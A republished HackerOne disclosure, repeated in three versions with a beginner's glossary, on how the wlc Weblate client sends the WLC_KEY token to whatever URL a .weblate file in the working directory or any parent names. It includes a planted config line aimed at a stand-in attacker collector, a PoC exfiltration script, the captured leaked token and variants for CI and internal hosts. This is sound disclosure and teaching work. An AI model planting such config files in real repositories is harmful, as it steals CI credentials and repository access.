Skip to content
Info disclosure Disclosed report Intermediate CVE-2026-22251

API token sent to URL dictated by an untrusted project .weblate file

The wlc command-line client searches the working directory and every parent directory for a project config file, and that file controls the API URL. When the API key comes from the WLC_KEY environment variable, it is sent to whatever URL the discovered config names, so an attacker who can plant or edit a .weblate file can receive the victim's API token.

type5afe Follow

Originally disclosed on HackerOne

Medium 6.3 View original
  • Disclosed after 2 months

wlc discovers project configuration by walking the current working directory and every parent directory for .weblate / .weblate.ini / weblate.ini (WeblateConfig.find_project_config). That file sets the API url. The API key, however, is resolved independently and is not bound to a trusted URL source: with $WLC_KEY set (the project's own documented CI pattern) the secret is sent to whatever URL the discovered config names. If the .weblate is attacker-controlled — a malicious pull request to a public repo, a cloned/untrusted repo, a planted file in any ancestor directory — running any wlc command ships the secret API token to an attacker-chosen server. This is the same "token must not egress to an unexpected origin" property that normalize_request_url defends for server- returned URLs, left open for the configured URL.

Technical Detail

Root cause

Python
# wlc/config.py:67-94  @ 7c01e2f
@staticmethod
def find_project_config() -> str | None:
    """Find the nearest project configuration file."""
    cwd = os.path.abspath(".")
    prev = None
    while cwd != prev:                       # walk CWD and every ancestor
        for name in (".weblate", ".weblate.ini", "weblate.ini"):
            conf_name = os.path.join(cwd, name)
            if os.path.isfile(conf_name):
                return conf_name             # untrusted file controls [weblate] url
        prev = cwd
        cwd = os.path.dirname(cwd)
    return None

def load(self, path=None) -> None:
    if path:
        ...
    else:
        if config := self.find_config():           # user/global config
            self.read(config)
        if config := self.find_project_config():    # project config OVERRIDES url
            self.read(config)
    ...
Python
# wlc/config.py:101-113  @ 7c01e2f
def get_url_key(self) -> tuple[str, str]:
    url = (
        self.cli_url
        or os.environ.get("WLC_URL", "")
        or cast("str", self.get(self.section, "url"))   # <- from .weblate
    )
    key = (
        self.cli_key
        or os.environ.get("WLC_KEY", "")                # <- the secret, origin-unbound
        or cast("str", self.get("keys", url, fallback=""))
    )
    return url, key

The [keys] lookup is origin-scoped (self.get("keys", url)), reflecting the maintainers' intent that a key belongs to a specific URL (CVE-2026-22251 hardening). But $WLC_KEY short-circuits that scoping: it is returned for any url, including a URL that came from an untrusted .weblate. The token is then attached in invoke_request (Authorization: Token {self.key}, client.py:240-241) and sent to that URL. normalize_request_url does not help: it only constrains URLs the server returns relative to the configured base; the configured base itself is the attacker's value.

Proof of Concept

Setup

git clone https://github.com/WeblateOrg/wlc && cd wlc
git checkout 7c01e2f5a5bed48e50a134c96951a5b212f446a4
python3 -m venv venv && . venv/bin/activate
pip install "requests>=2.32" "urllib3>=2.0" python-dateutil pyxdg argcomplete

Trigger

python3 c01_weblate_config_exfil.py

The script writes an attacker .weblate (url = http://127.0.0.1:9100/api/) into a temp repo, cds into it, exports WLC_KEY, and runs wlc list-projects.

Observable result

image.png
image.png From the original on HackerOne
attacker collector captured:
  Host header  : 127.0.0.1:9100
  Authorization: Token ci-secret-WLC_KEY-do-not-leak
RESULT: *** WLC_KEY LEAKED TO REPO-CONTROLLED URL ***

Impact

  • Direct primitive: theft of the Weblate API token by anyone who can influence a config file on the victim's discovery path.
  • Chain potential (per 05-chain-analysis):
    • Downstream: the token grants the attacker the victim's full Weblate API capability (read/write translations; commit/push/pull/reset on linked VCS repos; object deletion; project/component management if privileged).
    • Cross-component: in CI this token is a pipeline secret; its loss can cascade into the connected source repositories the Weblate project pushes to.
  • Realistic exploitation: a public project runs wlc push/wlc pull in CI with WLC_KEY as a secret and the URL taken from the checked-out repo (the documented pattern). An attacker opens a pull request that adds/edits .weblate to point url at their server (or, for a self-hosted runner, any reachable internal host). When CI runs wlc, the secret token is delivered to the attacker.

The original report as published on HackerOne, by type5afe. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 5 min read.

Context

wlc is the command line client for Weblate, published at https://github.com/WeblateOrg/wlc. It reads its configuration from a user or global config file and then, separately, from a project configuration file discovered by walking the filesystem. That project file can set the API url the client talks to.

The API key is resolved through a different path. It can come from a command line flag, from the WLC_KEY environment variable, or from a [keys] section in the configuration, keyed by URL. The [keys] lookup is origin-scoped: a key stored there belongs to one specific URL. WLC_KEY, however, is returned for whatever URL is in effect, with no binding to where that URL came from.

The report describes the consequence: when WLC_KEY is set, the secret is sent to whatever URL the discovered project config names. If an attacker can influence that file, running any wlc command ships the API token to a server of the attacker's choosing. The researcher frames this as the same "token must not egress to an unexpected origin" property that normalize_request_url enforces for server-returned URLs, left open for the configured URL.

Setup

The proof of concept pins a specific commit of the client and installs its dependencies into a virtual environment:

Bash
git clone https://github.com/WeblateOrg/wlc && cd wlc
git checkout [redacted]
python3 -m venv venv && . venv/bin/activate
pip install "requests>=2.32" "urllib3>=2.0" python-dateutil pyxdg argcomplete

The preconditions are: a victim with WLC_KEY exported (the project's own documented CI pattern), and an attacker who can place or edit a .weblate file somewhere on the discovery path. The report lists several ways that can happen: a malicious pull request to a public repository, a cloned or untrusted repository, or a planted file in any ancestor directory.

Finding it

The researcher looked at how the client locates its project configuration and how it resolves the key, and noticed the two are independent. The config file controls the URL; the environment variable supplies the secret; nothing ties the secret to a trusted origin. The [keys] section shows the maintainers intended keys to be scoped to a URL (the report ties this to CVE-2026-22251 hardening), but WLC_KEY short-circuits that scoping.

Exploitation

Step 1: plant the project configuration

The PoC script writes an attacker-controlled .weblate into a temporary repository with the following URL:

Text
url = http://[redacted]:9100/api/

It then changes into that directory, exports WLC_KEY, and runs wlc list-projects:

Bash
python3 c01_weblate_config_exfil.py

Because find_project_config walks the current working directory and every parent directory, the planted file is picked up and its url overrides the configured base. Because get_url_key returns WLC_KEY for any URL, the secret is attached to the request regardless of the destination.

Step 2: observe the token at the attacker's collector

The collector on the attacker side received the request with the token in the Authorization header:

image.png
image.png From the original on HackerOne
Text
attacker collector captured:
  Host header  : [redacted]:9100
  Authorization: Token ci-secret-WLC_KEY-do-not-leak
RESULT: *** WLC_KEY LEAKED TO REPO-CONTROLLED URL ***

The image shows the collector output confirming that the request arrived at the attacker-chosen host and carried the secret token.

Root cause

The discovery function walks upwards from the current directory and returns the first matching file among .weblate, .weblate.ini and weblate.ini:

Python
# wlc/config.py:67-94  @ 7c01e2f
@staticmethod
def find_project_config() -> str | None:
    """Find the nearest project configuration file."""
    cwd = os.path.abspath(".")
    prev = None
    while cwd != prev:                       # walk CWD and every ancestor
        for name in (".weblate", ".weblate.ini", "weblate.ini"):
            conf_name = os.path.join(cwd, name)
            if os.path.isfile(conf_name):
                return conf_name             # untrusted file controls [weblate] url
        prev = cwd
        cwd = os.path.dirname(cwd)
    return None

def load(self, path=None) -> None:
    if path:
        ...
    else:
        if config := self.find_config():           # user/global config
            self.read(config)
        if config := self.find_project_config():    # project config OVERRIDES url
            self.read(config)
    ...

The project config is read after the user or global config, so its url wins. The key resolution is separate:

Python
# wlc/config.py:101-113  @ 7c01e2f
def get_url_key(self) -> tuple[str, str]:
    url = (
        self.cli_url
        or os.environ.get("WLC_URL", "")
        or cast("str", self.get(self.section, "url"))   # <- from .weblate
    )
    key = (
        self.cli_key
        or os.environ.get("WLC_KEY", "")                # <- the secret, origin-unbound
        or cast("str", self.get("keys", url, fallback=""))
    )
    return url, key

The [keys] lookup is origin-scoped (self.get("keys", url)), which reflects the intent that a key belongs to a specific URL. WLC_KEY bypasses that scoping: it is returned for any url, including one that came from an untrusted .weblate. The token is then attached in invoke_request (Authorization: Token {self.key}, client.py:240-241) and sent to that URL.

normalize_request_url does not help here. It only constrains URLs the server returns relative to the configured base; the configured base itself is the attacker's value.

Impact

The direct primitive is theft of the Weblate API token by anyone who can influence a config file on the victim's discovery path.

The report also describes chain potential:

  • Downstream: the token grants the attacker the victim's full Weblate API capability, including reading and writing translations, commit/push/pull/reset on linked VCS repositories, object deletion, and project or component management if the token is privileged.
  • Cross-component: in CI the token is a pipeline secret, and its loss can cascade into the connected source repositories the Weblate project pushes to.

The realistic exploitation path is a public project running wlc push or wlc pull in CI with WLC_KEY as a secret and the URL taken from the checked-out repository, which the report calls the documented pattern. An attacker opens a pull request that adds or edits .weblate to point url at their server, or, for a self-hosted runner, at any reachable internal host. When CI runs wlc, the secret token is delivered to the attacker.

Fix

The report does not describe a fix. It only notes that the "token must not egress to an unexpected origin" property is left open for the configured URL.

Variants to test

  1. Plant a .weblate in a parent directory rather than the working directory. A positive result is the client picking it up and sending the token to the URL it names.
  2. Use .weblate.ini or weblate.ini instead of .weblate. A positive result is the same exfiltration through the alternate filenames.
  3. Set WLC_URL in the environment alongside WLC_KEY. A positive result is the environment URL taking precedence over the project file, confirming the precedence order in get_url_key.
  4. Store a key under [keys] for a legitimate URL and point the project config elsewhere. A positive result is the scoped key not being sent to the new URL, which shows the scoping works and isolates the WLC_KEY path as the gap.
  5. Run the same setup in a CI job with a self-hosted runner and a URL pointing at an internal host. A positive result is the token arriving at that internal host, demonstrating the internal-network variant.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 16 min read.

What happened, in plain words

Weblate is a web service that helps teams translate software. Translators work in a browser, and the translations are stored in the same code repository (a version-controlled folder of source files) as the software itself. wlc is a small companion program that runs on your own computer or on a build server, in a terminal, and talks to a Weblate server on your behalf: it can list projects, push translations, pull them, and so on.

To talk to a Weblate server, wlc needs two things: the address of the server (the url) and a secret passphrase that proves who you are (the API key or token). The report shows that these two things are looked up in two completely separate ways. The address can be taken from a small configuration file that sits in the folder you happen to be working in, or in any folder above it. The secret, when it comes from an environment variable called WLC_KEY, is used no matter which address is in effect. So if someone can slip a configuration file into a folder that wlc will search, they can redirect the address to their own server, and your secret token will be sent there the next time you run any wlc command.

That is the whole bug: a secret leaves your machine and travels to a destination chosen by someone else. The researcher rates it medium severity (CVSS 6.3) and files it under information disclosure, because the harm is that information (the token) is revealed to the wrong party.

A few words before we go further, because they come up constantly:

  • API (Application Programming Interface): a way for one program to talk to another over the network, usually by sending requests to addresses called endpoints. Think of it as a service counter: you hand over a request, you get back an answer. A Weblate API lets wlc ask the Weblate server questions and give it instructions.
  • Token / API key: a long random string that acts like a password for a program rather than a person. Whoever holds it is treated as you by the server. It is a secret, and it must only ever be sent to the server it belongs to.
  • Environment variable: a named value that the operating system keeps for a running program, a bit like a sticky note attached to the program's process. Programs read them to pick up settings, including secrets, without putting them in a file. WLC_KEY is one such variable.
  • Configuration file: a plain text file with settings. wlc reads one to learn which server to talk to.
  • Origin: the combination of protocol, host and port that identifies a server, for example https://weblate.example.com. Sending a secret to a different origin than the intended one is called egress to an unexpected origin, and it is exactly what should never happen.
  • Information disclosure: a vulnerability class where data that should stay private ends up in the wrong hands. Nothing is broken or crashed; something is simply revealed.

Context

wlc is the command line client for Weblate, published at https://github.com/WeblateOrg/wlc. It reads its configuration in two stages. First it reads a user or global config file, which holds your personal defaults. Then, separately, it reads a project configuration file that it finds by walking the filesystem, starting in the current folder and going upwards. That project file can set the API url the client talks to.

The API key is resolved through a different path. It can come from a command line flag, from the WLC_KEY environment variable, or from a [keys] section in the configuration, keyed by URL. The [keys] lookup is origin-scoped: a key stored there belongs to one specific URL, so a key saved for https://weblate.example.com is not offered to any other server. WLC_KEY, however, is returned for whatever URL is in effect, with no binding to where that URL came from.

The report describes the consequence: when WLC_KEY is set, the secret is sent to whatever URL the discovered project config names. If an attacker can influence that file, running any wlc command ships the API token to a server of the attacker's choosing. The researcher frames this as the same "token must not egress to an unexpected origin" property that normalize_request_url enforces for server-returned URLs, left open for the configured URL. In plain terms: the program already has a guard that checks where it is allowed to send requests, but that guard only applies to addresses the server hands back, not to the address the user's own configuration supplies.

Setup

The proof of concept pins a specific commit of the client and installs its dependencies into a virtual environment:

Bash
git clone https://github.com/WeblateOrg/wlc && cd wlc
git checkout [redacted]
python3 -m venv venv && . venv/bin/activate
pip install "requests>=2.32" "urllib3>=2.0" python-dateutil pyxdg argcomplete

Line by line:

  1. git clone https://github.com/WeblateOrg/wlc && cd wlc downloads a copy of the wlc source code from GitHub into a folder called wlc, then moves into that folder. Git is the version control tool that stores source code and its history; cloning means making your own copy.
  2. git checkout [redacted] switches the copy to one exact saved state of the code, identified by a long hexadecimal string called a commit hash. Pinning the commit means the test is reproducible: the same code is examined every time, even if the project changes later.
  3. python3 -m venv venv && . venv/bin/activate creates a virtual environment, an isolated Python installation inside the folder venv, and activates it. This keeps the libraries installed for this test away from the rest of the system, so nothing else on the machine is affected.
  4. pip install "requests>=2.32" "urllib3>=2.0" python-dateutil pyxdg argcomplete installs the Python libraries wlc needs to run: requests and urllib3 for making HTTP requests, python-dateutil for date handling, pyxdg for finding standard config locations on Linux, and argcomplete for shell tab completion.

The preconditions are: a victim with WLC_KEY exported (the project's own documented CI pattern), and an attacker who can place or edit a .weblate file somewhere on the discovery path. CI here means continuous integration, an automated service that runs commands such as tests or wlc push every time code is submitted to a repository. The report lists several ways an attacker can get a file onto the discovery path: a malicious pull request to a public repository, a cloned or untrusted repository, or a planted file in any ancestor directory. A pull request is a proposal to change the files in a repository; if a maintainer merges it, the change becomes part of the code that CI runs against.

Finding it

The researcher looked at how the client locates its project configuration and how it resolves the key, and noticed the two are independent. The config file controls the URL; the environment variable supplies the secret; nothing ties the secret to a trusted origin. The [keys] section shows the maintainers intended keys to be scoped to a URL (the report ties this to CVE-2026-22251 hardening), but WLC_KEY short-circuits that scoping. A CVE is a public identifier for a known vulnerability; hardening means tightening a program after an earlier security problem. The report ties the URL-scoped [keys] lookup to CVE-2026-22251 hardening.

Exploitation

Step 1: plant the project configuration

The PoC script writes an attacker-controlled .weblate into a temporary repository with the following URL:

Text
url = http://[redacted]:9100/api/

This is the content of the planted configuration file. url is the setting name, and the value after the equals sign is the address wlc will contact. [redacted] is the loopback address, meaning this computer itself, and 9100 is the port number. In the test, the collector program listens on that port; the report does not say where it runs. The /api/ part is the path where the Weblate API lives.

It then changes into that directory, exports WLC_KEY, and runs wlc list-projects:

Bash
python3 c01_weblate_config_exfil.py

This single command runs the proof of concept script. The script does the setup work described above: it creates a temporary repository folder, writes the .weblate file into it, changes the working directory into it, sets the WLC_KEY environment variable to a test secret, and then invokes wlc list-projects. list-projects asks the server for the list of projects. The report says running any wlc command ships the token to the configured URL.

Because find_project_config walks the current working directory and every parent directory, the planted file is picked up and its url overrides the configured base. Because get_url_key returns WLC_KEY for any URL, the secret is attached to the request regardless of the destination.

Step 2: observe the token at the attacker's collector

The collector on the attacker side received the request with the token in the Authorization header:

image.png
image.png From the original on HackerOne
Text
attacker collector captured:
  Host header  : [redacted]:9100
  Authorization: Token ci-secret-WLC_KEY-do-not-leak
RESULT: *** WLC_KEY LEAKED TO REPO-CONTROLLED URL ***

This is the output printed by the collector, the small program standing in for the attacker's server. Line by line:

  • attacker collector captured: announces that an incoming request was received and recorded.
  • Host header : [redacted]:9100 shows the Host header of the request. HTTP requests carry headers, which are labelled pieces of metadata sent alongside the request; Host says which server the client believes it is talking to. Here it is the attacker's address, confirming the request went where the planted file pointed.
  • Authorization: Token ci-secret-WLC_KEY-do-not-leak shows the Authorization header, the standard place where a client presents its credentials. The value Token followed by the secret is exactly how wlc attaches the API key. The string ci-secret-WLC_KEY-do-not-leak appears as the token value in the captured header.
  • RESULT: *** WLC_KEY LEAKED TO REPO-CONTROLLED URL *** is the final line of the captured output.

The image shows the collector output confirming that the request arrived at the attacker-chosen host and carried the secret token.

Root cause

The discovery function walks upwards from the current directory and returns the first matching file among .weblate, .weblate.ini and weblate.ini:

Python
# wlc/config.py:67-94  @ 7c01e2f
@staticmethod
def find_project_config() -> str | None:
    """Find the nearest project configuration file."""
    cwd = os.path.abspath(".")
    prev = None
    while cwd != prev:                       # walk CWD and every ancestor
        for name in (".weblate", ".weblate.ini", "weblate.ini"):
            conf_name = os.path.join(cwd, name)
            if os.path.isfile(conf_name):
                return conf_name             # untrusted file controls [weblate] url
        prev = cwd
        cwd = os.path.dirname(cwd)
    return None

def load(self, path=None) -> None:
    if path:
        ...
    else:
        if config := self.find_config():           # user/global config
            self.read(config)
        if config := self.find_project_config():    # project config OVERRIDES url
            self.read(config)
    ...

Line by line:

  1. @staticmethod marks the following function as belonging to the class but not needing a particular object instance to run. You can ignore it for the security story.
  2. def find_project_config() -> str | None: declares a function that returns either a file path (a string) or nothing at all (None).
  3. cwd = os.path.abspath(".") turns the current working directory, written as ., into a full absolute path such as /home/user/project. cwd stands for current working directory.
  4. prev = None sets up a variable to remember the previous folder, so the loop knows when it has reached the top of the filesystem.
  5. while cwd != prev: keeps looping as long as the folder keeps changing. Each pass moves one level up.
  6. for name in (".weblate", ".weblate.ini", "weblate.ini"): tries three possible file names in the current folder. Any of the three is accepted.
  7. conf_name = os.path.join(cwd, name) builds the full path of the candidate file by joining the folder and the file name.
  8. if os.path.isfile(conf_name): checks whether a regular file with that path exists.
  9. return conf_name returns the first one found. The comment notes that this untrusted file controls the [weblate] url setting.
  10. prev = cwd and cwd = os.path.dirname(cwd) remember the current folder and then move to its parent. os.path.dirname strips the last component of a path, so /home/user/project becomes /home/user.
  11. return None is reached only if the loop climbs all the way to the root without finding anything.

The second function, load, decides which configuration files to read. If a path was given explicitly, it uses that. Otherwise it first reads the user or global config via find_config, then reads the project config via find_project_config. The := syntax assigns and tests in one step. The important part is the order: the project config is read after the user or global config, so its url wins. The comment project config OVERRIDES url says so directly.

The key resolution is separate:

Python
# wlc/config.py:101-113  @ 7c01e2f
def get_url_key(self) -> tuple[str, str]:
    url = (
        self.cli_url
        or os.environ.get("WLC_URL", "")
        or cast("str", self.get(self.section, "url"))   # <- from .weblate
    )
    key = (
        self.cli_key
        or os.environ.get("WLC_KEY", "")                # <- the secret, origin-unbound
        or cast("str", self.get("keys", url, fallback=""))
    )
    return url, key

Line by line:

  1. def get_url_key(self) -> tuple[str, str]: declares a function that returns two strings together, the URL and the key.
  2. url = ( starts the calculation of the address. The or chain means: use the first value that is non-empty.
  3. self.cli_url is the address given on the command line, if any. It has the highest priority.
  4. os.environ.get("WLC_URL", "") is the address from the WLC_URL environment variable, or an empty string if it is not set.
  5. cast("str", self.get(self.section, "url")) is the address from the configuration file, which is where the planted .weblate value arrives. The comment marks this as coming from .weblate.
  6. key = ( starts the calculation of the secret, again with an or chain.
  7. self.cli_key is a key given on the command line.
  8. os.environ.get("WLC_KEY", "") is the key from the environment variable. The comment calls it the secret, origin-unbound, meaning it is not tied to any particular server.
  9. cast("str", self.get("keys", url, fallback="")) looks up a stored key in the [keys] section, using the URL as the lookup name. This is the origin-scoped path: a key stored under one URL is only found when that same URL is in effect.
  10. return url, key hands both values back to the caller.

The [keys] lookup is origin-scoped (self.get("keys", url)), which reflects the intent that a key belongs to a specific URL. WLC_KEY bypasses that scoping: it is returned for any url, including one that came from an untrusted .weblate. The token is then attached in invoke_request (Authorization: Token {self.key}, client.py:240-241) and sent to that URL. In other words, the code that builds the outgoing request takes the key and puts it into the Authorization header of whatever request it is about to make, without asking whether the destination is the one the key was meant for.

normalize_request_url does not help here. It only constrains URLs the server returns relative to the configured base; the configured base itself is the attacker's value. A useful comparison: a building's reception desk might check that visitors only go to floors listed on their badge, but if the visitor wrote the building's address on the badge themselves, the check is meaningless.

Impact

The direct primitive is theft of the Weblate API token by anyone who can influence a config file on the victim's discovery path. A primitive, in security writing, is the basic capability an attacker gains, which other attacks can then be built on.

The report also describes chain potential, meaning what the stolen token can be used for afterwards:

  • Downstream: the token grants the attacker the victim's full Weblate API capability, including reading and writing translations, commit/push/pull/reset on linked VCS repositories, object deletion, and project or component management if the token is privileged. VCS means version control system, such as Git; commit, push, pull and reset are the standard operations for saving, uploading, downloading and rewinding changes in such a system. If the token is privileged, the attacker can manage projects and components too.
  • Cross-component: in CI the token is a pipeline secret, and its loss can cascade into the connected source repositories the Weblate project pushes to. A pipeline is the sequence of automated steps CI runs; the loss can cascade into the connected source repositories the Weblate project pushes to.

The realistic exploitation path is a public project running wlc push or wlc pull in CI with WLC_KEY as a secret and the URL taken from the checked-out repository, which the report calls the documented pattern. An attacker opens a pull request that adds or edits .weblate to point url at their server, or, for a self-hosted runner, at any reachable internal host. A self-hosted runner is a CI machine the project operates itself, often inside its own network, so an address reachable from it may not be reachable from the public internet. When CI runs wlc, the secret token is delivered to the attacker.

Fix

The report does not describe a fix. It only notes that the "token must not egress to an unexpected origin" property is left open for the configured URL.

Variants to test

  1. Plant a .weblate in a parent directory rather than the working directory. A positive result is the client picking it up and sending the token to the URL it names.
  2. Use .weblate.ini or weblate.ini instead of .weblate. A positive result is the same exfiltration through the alternate filenames.
  3. Set WLC_URL in the environment alongside WLC_KEY. A positive result is the environment URL taking precedence over the project file, confirming the precedence order in get_url_key.
  4. Store a key under [keys] for a legitimate URL and point the project config elsewhere. A positive result is the scoped key not being sent to the new URL, which shows the scoping works and isolates the WLC_KEY path as the gap.
  5. Run the same setup in a CI job with a self-hosted runner and a URL pointing at an internal host. A positive result is the token arriving at that internal host, demonstrating the internal-network variant.

Glossary

  • API: a way for one program to talk to another over the network, usually by sending requests to addresses called endpoints.
  • API key / token: a long random string that acts as a password for a program; whoever holds it is treated as the corresponding user by the server.
  • Authorization header: the standard HTTP header in which a client presents its credentials to a server.
  • CI (continuous integration): an automated service that runs commands such as tests or wlc push whenever code is submitted to a repository.
  • Commit hash: a long hexadecimal identifier for one exact saved state of a code repository.
  • Configuration file: a plain text file holding settings that a program reads at startup.
  • CVE: a public identifier for a known vulnerability.
  • CVSS: a scoring system that expresses the severity of a vulnerability as a number.
  • Egress: data leaving a system, here a secret being sent out to a server.
  • Environment variable: a named value kept by the operating system for a running program, often used for settings and secrets.
  • Exfiltration: the unauthorised transfer of data out of a system to an attacker.
  • Hardening: tightening a program's behaviour after an earlier security problem.
  • Host header: the HTTP header that says which server the client believes it is talking to.
  • Information disclosure: a vulnerability class where data that should stay private is revealed to the wrong party.
  • Loopback address: the address [redacted], meaning the computer itself.
  • Origin: the combination of protocol, host and port that identifies a server.
  • Origin-scoped: tied to one specific origin, so it is not offered to any other server.
  • Pipeline: the sequence of automated steps a CI service runs.
  • Port: a number that identifies which service on a machine a network connection is meant for.
  • Primitive: the basic capability an attacker gains, on which further attacks can be built.
  • Pull request: a proposal to change the files in a repository, which maintainers can review and merge.
  • Self-hosted runner: a CI machine operated by the project itself, often inside its own network.
  • Severity: a rating of how serious a vulnerability is.
  • Virtual environment: an isolated Python installation kept in its own folder so installed libraries do not affect the rest of the system.
  • VCS (version control system): software such as Git that stores source code and its history; commit, push, pull and reset are its standard operations.
  • Weblate: a web service for managing software translations, storing them in the same repository as the source code.
  • wlc: the command line client for Weblate, run in a terminal to talk to a Weblate server.

More by type5afe

View all

1 more disclosed report, best first.

More from Weblate

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.